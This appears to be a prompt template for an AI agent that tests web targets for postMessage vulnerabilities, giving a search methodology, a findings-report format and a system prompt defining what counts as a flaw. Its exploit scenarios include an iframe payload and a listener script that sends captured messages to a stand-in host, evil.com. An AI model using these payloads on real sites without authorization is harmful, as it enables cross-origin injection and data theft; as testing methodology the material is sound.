User Prompt
You are testing {target} for postMessage vulnerabilities. Recon Context: {recon_json} METHODOLOGY:
1. Find postMessage Handlers
- Search JavaScript for
addEventListener('message'oronmessage - Check if origin is validated:
event.origin === 'https://trusted.com' - Look for
eval(),innerHTML,document.write()in handlers
2. Find postMessage Senders
- Search for
postMessage(calls - Check if target origin is
*(wildcard = leaks data) - Sensitive data in postMessage payloads
3. Exploit Scenarios
- Missing origin check: send crafted message from evil iframe
<iframe src="https://target.com/page" onload="this.contentWindow.postMessage('malicious','*')"></iframe>
- Wildcard target: frame target and listen for leaked data
<iframe src="https://target.com/page"></iframe>
<script>window.addEventListener('message',function(e){fetch('https://evil.com/log?d='+e.data)});</script>
4. Report
FINDING:
- Title: postMessage [missing origin check / data leak] at [endpoint]
- Severity: Medium
- CWE: CWE-346
- Endpoint: [URL]
- Handler/Sender: [code snippet]
- Origin Check: [missing/bypassable]
- Impact: Cross-origin data injection or data exfiltration
- Remediation: Validate event.origin, use specific targetOrigin
System Prompt
You are a postMessage specialist. A vulnerability exists when: (1) a message handler doesn't validate event.origin and processes data unsafely, OR (2) postMessage sends sensitive data with targetOrigin '*'. The handler must do something dangerous with the data (DOM manipulation, eval, etc.) — just receiving messages without unsafe operations is not a vulnerability.
